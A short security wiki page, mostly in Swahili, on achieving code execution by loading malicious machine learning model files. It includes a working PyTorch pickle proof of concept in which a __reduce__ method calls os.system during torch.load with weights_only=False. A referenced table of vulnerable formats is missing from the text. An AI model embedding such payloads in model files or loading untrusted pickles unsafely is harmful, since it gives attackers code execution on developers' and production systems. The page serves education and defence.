Models RCE

Reading time: 4 minutes

Loading models to RCE

Machine Learning models mara nyingi hushirikiwa katika mifumo tofauti, kama ONNX, TensorFlow, PyTorch, n.k. Mifano hii inaweza kupakuliwa kwenye mashine za waendelezaji au mifumo ya uzalishaji ili kuitumia. Kawaida mifano haipaswi kuwa na msimbo mbaya, lakini kuna baadhi ya kesi ambapo mfano unaweza kutumika kutekeleza msimbo wa kiholela kwenye mfumo kama kipengele kilichokusudiwa au kwa sababu ya udhaifu katika maktaba ya kupakia mfano.

Wakati wa kuandika, haya ni baadhi ya mifano ya aina hii ya udhaifu:

Zaidi ya hayo, kuna mifano kadhaa ya python pickle kama zile zinazotumiwa na PyTorch ambazo zinaweza kutumika kutekeleza msimbo wa kiholela kwenye mfumo ikiwa hazijapakiwa na weights_only=True. Hivyo, mfano wowote wa pickle unaweza kuwa na hatari maalum kwa aina hii ya mashambulizi, hata kama haujatajwa kwenye jedwali hapo juu.

Mfano:

• Create the model:

# attacker_payload.py
import torch
import os

class MaliciousPayload:
def __reduce__(self):
# This code will be executed when unpickled (e.g., on model.load_state_dict)
return (os.system, ("echo 'You have been hacked!' > /tmp/pwned.txt",))

# Create a fake model state dict with malicious content
malicious_state = {"fc.weight": MaliciousPayload()}

# Save the malicious state dict
torch.save(malicious_state, "malicious_state.pth")

• Pakia mfano:

# victim_load.py
import torch
import torch.nn as nn

class MyModel(nn.Module):
def __init__(self):
super().__init__()
self.fc = nn.Linear(10, 1)

model = MyModel()

# ⚠️ This will trigger code execution from pickle inside the .pth file
model.load_state_dict(torch.load("malicious_state.pth", weights_only=False))

# /tmp/pwned.txt is created even if you get an error